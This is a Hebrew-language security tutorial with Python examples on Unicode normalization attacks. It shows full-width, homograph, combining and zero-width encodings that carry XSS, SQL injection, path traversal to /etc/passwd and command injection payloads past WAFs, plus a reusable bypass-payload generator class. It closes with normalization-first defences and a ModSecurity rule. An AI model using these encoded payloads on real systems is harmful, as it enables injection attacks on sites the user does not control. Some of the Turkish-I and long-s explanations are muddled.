נורמליזציית Unicode - Unicode Normalization Attacks¶
רקע - מהי נורמליזציית Unicode?¶
תקן Unicode מאפשר לייצג את אותו תו ויזואלי במספר דרכים שונות. למשל, האות e עם accent (e) אפשר לייצג כתו בודד (U+00E9) או כשני תווים: e (U+0065) ואחריו combining accent (U+0301). כדי לאפשר השוואה עקבית, קיימות ארבע צורות נורמליזציה.
צורות נורמליזציה¶
NFC - Canonical Decomposition, followed by Canonical Composition¶
פירוק קנוני ואז הרכבה חזרה. זו הצורה הנפוצה ביותר.
import unicodedata
# e + combining accent -> e (single character)
text = "e\u0301" # e + combining acute accent
nfc = unicodedata.normalize('NFC', text)
print(f"Original: {repr(text)}") # 'e\u0301'
print(f"NFC: {repr(nfc)}") # '\xe9'
print(f"Original length: {len(text)}") # 2
print(f"NFC length: {len(nfc)}") # 1
NFD - Canonical Decomposition¶
פירוק קנוני בלבד. מפרק תווים מורכבים לרכיביהם.
text = "\xe9" # e (single character)
nfd = unicodedata.normalize('NFD', text)
print(f"Original: {repr(text)}") # '\xe9'
print(f"NFD: {repr(nfd)}") # 'e\u0301'
print(f"Original length: {len(text)}") # 1
print(f"NFD length: {len(nfd)}") # 2
NFKC - Compatibility Decomposition, followed by Canonical Composition¶
פירוק תאימות ואז הרכבה. זו הצורה המעניינת ביותר לתוקפים כי היא ממירה תווים חזותית דומים לצורה הסטנדרטית שלהם.
examples = [
("\uff1c", "<"), # ＜ (full-width) -> <
("\uff1e", ">"), # ＞ (full-width) -> >
("\ufb01", "fi"), # fi (ligature) -> fi
("\u2024", "."), # ․ (one dot leader) -> .
("\uff0f", "/"), # ／ (full-width) -> /
("\u2044", "/"), # ⁄ (fraction slash) -> /
("\uff07", "'"), # ＇ (full-width) -> '
("\u2018", "'"), # ' (left single quote) -> ' (depends)
]
for original, expected in examples:
nfkc = unicodedata.normalize('NFKC', original)
print(f"U+{ord(original):04X} ({original}) -> NFKC: {repr(nfkc)}")
NFKD - Compatibility Decomposition¶
פירוק תאימות בלבד, ללא הרכבה חזרה.
text = "\ufb01" # fi ligature
nfkd = unicodedata.normalize('NFKD', text)
print(f"NFKD: {repr(nfkd)}") # 'fi'
הbypass WAF באמצעות נורמליזציה¶
העיקרון¶
הקלט עובר דרך ה-WAF בצורתו המקורית (תווי Unicode מיוחדים). ה-WAF לא מזהה דפוס מסוכן. האפליקציה מבצעת נורמליזציה (NFKC) ומקבלת payload זדוני.
Attacker sends: ＜script＞alert(1)＜／script＞
WAF sees: ＜script＞alert(1)＜／script＞ -> doesn't recognize <script>
Application normalizes (NFKC): <script>alert(1)</script> -> XSS!
הpayloads XSS עם תווים ברוחב מלא¶
# Building an XSS payload with full-width characters
def fullwidth_encode(text):
"""Convert ASCII characters to full-width characters"""
result = []
for char in text:
code = ord(char)
if 0x21 <= code <= 0x7E:
# ASCII characters 0x21-0x7E map to 0xFF01-0xFF5E
result.append(chr(code - 0x21 + 0xFF01))
else:
result.append(char)
return ''.join(result)
payload = "<script>alert(1)</script>"
encoded = fullwidth_encode(payload)
print(f"Original: {payload}")
print(f"Encoded: {encoded}")
# Encoded: ＜ｓｃｒｉｐｔ＞ａｌｅｒｔ（１）＜／ｓｃｒｉｐｔ＞
# Verify that normalization reverts to the original
import unicodedata
decoded = unicodedata.normalize('NFKC', encoded)
print(f"After NFKC: {decoded}")
# After NFKC: <script>alert(1)</script>
הpayloads SQLi עם תווי Unicode¶
# Characters that normalize to sensitive characters
unicode_mappings = {
"'": ["\uff07", "\u2018", "\u2019", "\u02bc"], # apostrophe
'"': ["\uff02", "\u201c", "\u201d"], # quotation marks
"<": ["\uff1c", "\u2039", "\u276e"], # less-than
">": ["\uff1e", "\u203a", "\u276f"], # greater-than
"/": ["\uff0f", "\u2044", "\u2215"], # slash
"(": ["\uff08", "\u207d", "\u208d"], # opening parenthesis
")": ["\uff09", "\u207e", "\u208e"], # closing parenthesis
" ": ["\u2000", "\u2001", "\u2002", "\u2003"], # various spaces
}
# Building a SQLi payload
# Original: ' UNION SELECT 1--
# With Unicode: ＇ UNION SELECT 1--
sqli_payload = "\uff07 UNION SELECT 1--"
print(f"Payload: {sqli_payload}")
print(f"After NFKC: {unicodedata.normalize('NFKC', sqli_payload)}")
התקפות הומוגרף - Homograph Attacks¶
תווים שנראים זהים אך שונים¶
# Cyrillic characters that look like Latin ones
homographs = {
'a': '\u0430', # а (Cyrillic)
'c': '\u0441', # с (Cyrillic)
'e': '\u0435', # е (Cyrillic)
'o': '\u043e', # о (Cyrillic)
'p': '\u0440', # р (Cyrillic)
'x': '\u0445', # х (Cyrillic)
'y': '\u0443', # у (Cyrillic)
'H': '\u041d', # Н (Cyrillic)
'B': '\u0412', # В (Cyrillic)
'T': '\u0422', # Т (Cyrillic)
}
# Demonstration
latin_a = 'a'
cyrillic_a = '\u0430'
print(f"Latin a: U+{ord(latin_a):04X}") # U+0061
print(f"Cyrillic а: U+{ord(cyrillic_a):04X}") # U+0430
print(f"Look the same? {latin_a} vs {cyrillic_a}") # a vs а
print(f"Equal? {latin_a == cyrillic_a}") # False
התקפת הומוגרף על URL¶
# Real URL: apple.com
# Fake URL with Cyrillic: аррle.com (a, p, p are Cyrillic)
real_domain = "apple.com"
fake_domain = "\u0430\u0440\u0440le.com"
print(f"Real: {real_domain}")
print(f"Fake: {fake_domain}")
print(f"Equal? {real_domain == fake_domain}") # False
# But visually they look identical!
# Checking IDN (Internationalized Domain Name)
# The browser converts to Punycode: xn--pple-43d0c.com
הexploit הומוגרפים לbypass WAF¶
# WAF blocks the word "script"
# We'll replace one character with a Cyrillic homograph
# Original: <script>alert(1)</script>
# With homograph: <ѕсript>alert(1)</ѕсript>
# ^ ѕ (Cyrillic) ^ с (Cyrillic)
payload = "<\u0455\u0441ript>alert(1)</\u0455\u0441ript>"
print(f"Payload: {payload}")
# The browser will see: <ѕсript>alert(1)</ѕсript>
# WAF won't recognize it as "script"
# But: the browser also won't recognize it as a script tag!
# This technique only works if the application normalizes before processing
הbypass באמצעות רוחב - Width-based Bypass¶
תווים ברוחב מלא - Full-width Characters¶
טווח U+FF01 עד U+FF5E מכיל גרסאות ברוחב מלא של תווי ASCII:
# Common conversion table
fullwidth_table = {
'!': '\uff01', # ！
'"': '\uff02', # ＂
'#': '\uff03', # ＃
'$': '\uff04', # ＄
'%': '\uff05', # ％
'&': '\uff06', # ＆
"'": '\uff07', # ＇
'(': '\uff08', # （
')': '\uff09', # ）
'*': '\uff0a', # ＊
'+': '\uff0b', # ＋
',': '\uff0c', # ，
'-': '\uff0d', # －
'.': '\uff0e', # ．
'/': '\uff0f', # ／
'<': '\uff1c', # ＜
'=': '\uff1d', # ＝
'>': '\uff1e', # ＞
'?': '\uff1f', # ？
'@': '\uff20', # ＠
}
# Building a path traversal payload
# Original: ../../../etc/passwd
traversal = "\uff0e\uff0e\uff0f\uff0e\uff0e\uff0f\uff0e\uff0e\uff0fetc\uff0fpasswd"
print(f"Payload: {traversal}")
print(f"After NFKC: {unicodedata.normalize('NFKC', traversal)}")
# After NFKC: ../../../etc/passwd
הpayloads ברוחב מלא לכל סוגי החולשות¶
import unicodedata
def generate_fullwidth_payloads():
payloads = {
"XSS": "<script>alert(1)</script>",
"SQLi": "' UNION SELECT 1--",
"Path Traversal": "../../../etc/passwd",
"Command Injection": "; ls -la",
"SSRF": "http://127.0.0.1/admin",
}
for name, payload in payloads.items():
encoded = ""
for char in payload:
code = ord(char)
if 0x21 <= code <= 0x7E:
encoded += chr(code - 0x21 + 0xFF01)
else:
encoded += char
normalized = unicodedata.normalize('NFKC', encoded)
print(f"\n--- {name} ---")
print(f"Original: {payload}")
print(f"Full-width: {encoded}")
print(f"NFKC: {normalized}")
print(f"Same as original? {normalized == payload}")
generate_fullwidth_payloads()
הexploit Combining Characters ו-Diacritics¶
תווים משלבים - Combining Characters¶
תווים שמתחברים לתו הקודם ועשויים להשפיע על נורמליזציה:
# Adding combining characters that normalize away
combining_chars = [
'\u0300', # combining grave accent
'\u0301', # combining acute accent
'\u0302', # combining circumflex
'\u0303', # combining tilde
'\u0304', # combining macron
'\u030a', # combining ring above
'\u0327', # combining cedilla
]
# Inserting a combining character between letters
# WAF looks for "script" as a continuous sequence
# "s" + combining char + "cript" breaks the sequence
payload = "s\u0300cript"
print(f"Payload: {payload}")
print(f"Length: {len(payload)}") # 7 (including combining char)
# Note: combining characters don't always disappear during normalization
# It depends on the specific character and normalization form
nfkc = unicodedata.normalize('NFKC', payload)
print(f"NFKC: {repr(nfkc)}")
הexploit Zero-Width Characters¶
# Zero-width characters - invisible but break pattern matching
zero_width = [
'\u200b', # Zero-Width Space
'\u200c', # Zero-Width Non-Joiner
'\u200d', # Zero-Width Joiner
'\ufeff', # Zero-Width No-Break Space (BOM)
'\u200e', # Left-to-Right Mark
'\u200f', # Right-to-Left Mark
]
# Inserting a Zero-Width Space inside "script"
payload = f"<scr\u200bipt>alert(1)</scr\u200bipt>"
print(f"Payload: {payload}")
print(f"Looks like: <script>alert(1)</script>")
print(f"But length: {len('script')} vs {len('scr\\u200bipt')}")
# Does the browser ignore zero-width chars inside a tag?
# Usually not - but some applications strip them
בעיית Case Mapping בתרבויות שונות - Turkish I Problem¶
הבעיה הטורקית¶
בטורקית, המרת case עובדת אחרת:
import locale
# In English:
# I (upper) <-> i (lower)
# Regular
# In Turkish:
# I (upper) <-> ı (lower, without dot)
# I (upper, with dot) <-> i (lower)
# Special character: ı (dotless i, U+0131)
# Special character: I (I with dot above, U+0130)
# A WAF that uses case-insensitive comparison with a Turkish locale
keyword = "SELECT"
user_input = "sel\u0130ct" # with Turkish I (I with a dot)
# In Turkish culture: "I".lower() = "ı" (not "i")
# But I (U+0130).lower() = "i"
# WAF with a Turkish locale:
# "SELECT".lower() -> "select" (in English)
# "SELECT".lower() -> "sel\u0131ct" (in Turkish, with dotless i)
# If the WAF does lower() with a Turkish locale, "SELECT" becomes "sel\u0131ct"
# And then the comparison to "select" fails!
הexploit לbypass WAF¶
# Scenario: WAF checks case-insensitive with a wrong locale
# The input goes through uppercase/lowercase differently
# Payload with a Kelvin Sign character
# K (Kelvin, U+212A) differs from K (Latin, U+004B)
# But NFKC converts Kelvin -> K
kelvin = '\u212a'
latin_k = 'K'
print(f"Kelvin: {kelvin} (U+{ord(kelvin):04X})")
print(f"Latin K: {latin_k} (U+{ord(latin_k):04X})")
print(f"Equal? {kelvin == latin_k}") # False
print(f"NFKC equal? {unicodedata.normalize('NFKC', kelvin) == latin_k}") # True
# Payload: SELECT with Kelvin K
sqli = f"' UNION {kelvin}SELECT 1--" # K is Kelvin
print(f"Payload: {sqli}")
# WAF looks for "SELECT" - doesn't find it (because the K is Kelvin)
# Application with NFKC: "' UNION KSELECT 1--" -> not perfect
# A better approach: long s
# ſ (Long S, U+017F) -> NFKC -> s
long_s = '\u017f'
payload = f"' UNION {long_s}ELECT 1--"
print(f"Payload: {payload}")
nfkc = unicodedata.normalize('NFKC', payload)
print(f"NFKC: {nfkc}")
# NFKC: ' UNION sELECT 1-- -> not exactly "SELECT" (lowercase letter)
# Combined with case-insensitive SQL:
# SQL is case-insensitive, so sELECT = SELECT
כלי לבניית payloads Unicode¶
import unicodedata
class UnicodeBypassGenerator:
"""Generates bypass payloads using Unicode"""
# Mapping of alternative characters
ALTERNATIVES = {
'<': ['\uff1c', '\u2039', '\u276e', '\ufe64'],
'>': ['\uff1e', '\u203a', '\u276f', '\ufe65'],
"'": ['\uff07', '\u2018', '\u2019', '\u02bc', '\u02b9'],
'"': ['\uff02', '\u201c', '\u201d'],
'/': ['\uff0f', '\u2044', '\u2215'],
'\\': ['\uff3c', '\u2216'],
'(': ['\uff08', '\u207d', '\u208d', '\ufe59'],
')': ['\uff09', '\u207e', '\u208e', '\ufe5a'],
' ': ['\u2000', '\u2001', '\u2002', '\u2003', '\u00a0',
'\u2004', '\u2005', '\u2006', '\u2007', '\u2008',
'\u2009', '\u200a', '\u202f', '\u205f'],
'.': ['\uff0e', '\u2024'],
'-': ['\uff0d', '\u2010', '\u2011', '\u2012', '\u2013'],
',': ['\uff0c', '\ufe50'],
';': ['\uff1b', '\ufe54'],
'=': ['\uff1d', '\ufe66'],
}
@classmethod
def encode_payload(cls, payload, strategy='fullwidth'):
"""Encode a payload with the chosen strategy"""
if strategy == 'fullwidth':
return cls._fullwidth(payload)
elif strategy == 'alternatives':
return cls._alternatives(payload)
elif strategy == 'mixed':
return cls._mixed(payload)
return payload
@classmethod
def _fullwidth(cls, text):
result = []
for char in text:
code = ord(char)
if 0x21 <= code <= 0x7E:
result.append(chr(code - 0x21 + 0xFF01))
else:
result.append(char)
return ''.join(result)
@classmethod
def _alternatives(cls, text):
result = []
for char in text:
if char in cls.ALTERNATIVES:
result.append(cls.ALTERNATIVES[char][0])
else:
result.append(char)
return ''.join(result)
@classmethod
def _mixed(cls, text):
"""Partial encoding - only critical characters"""
critical = set("<>'\"/\\()= ")
result = []
for char in text:
if char in critical and char in cls.ALTERNATIVES:
result.append(cls.ALTERNATIVES[char][0])
else:
result.append(char)
return ''.join(result)
@classmethod
def verify_normalization(cls, encoded, expected):
"""Verify that normalization returns the desired payload"""
for form in ['NFC', 'NFD', 'NFKC', 'NFKD']:
normalized = unicodedata.normalize(form, encoded)
match = normalized == expected
print(f"{form}: {'V' if match else 'X'} -> {repr(normalized[:50])}")
# Usage
gen = UnicodeBypassGenerator()
xss = "<script>alert(1)</script>"
sqli = "' UNION SELECT 1--"
for payload_name, payload in [("XSS", xss), ("SQLi", sqli)]:
print(f"\n{'='*50}")
print(f"Payload: {payload_name}")
for strategy in ['fullwidth', 'alternatives', 'mixed']:
encoded = gen.encode_payload(payload, strategy)
print(f"\nStrategy: {strategy}")
print(f"Encoded: {encoded}")
gen.verify_normalization(encoded, payload)
הגנה - נורמליזציה לפני בדיקה¶
import unicodedata
def secure_input_handler(user_input):
"""Secure processing of Unicode input"""
# Step 1: NFKC normalization (the broadest canonical form)
normalized = unicodedata.normalize('NFKC', user_input)
# Step 2: remove control characters and zero-width characters
cleaned = ''.join(
char for char in normalized
if unicodedata.category(char) not in ('Cc', 'Cf')
or char in ('\n', '\r', '\t')
)
# Step 3: check that all characters are allowed
for char in cleaned:
if unicodedata.category(char).startswith('C'):
raise ValueError(f"Invalid character: U+{ord(char):04X}")
# Step 4: security checks on the normalized form
# (this is where the WAF checks run)
return cleaned
# ModSecurity rule - Unicode normalization
SecRule ARGS "@rx .*" \
"id:1001,\
phase:2,\
pass,\
t:utf8toUnicode,\
t:urlDecode,\
t:htmlEntityDecode,\
t:lowercase,\
chain"
SecRule MATCHED_VAR "@rx <script>" \
"deny,status:403"
סיכום¶
נורמליזציית Unicode היא וקטור תקיפה עוצמתי מכיוון שרוב ה-WAFs לא מבצעים נורמליזציה לפני בדיקת חוקים. תווים ברוחב מלא, הומוגרפים, תווי combining, ותווי zero-width - כולם יכולים לשמש לbypass. ההגנה הנכונה היא לנרמל (NFKC) לפני כל בדיקת אבטחה, ולדחות תווים שאינם בטווח הצפוי.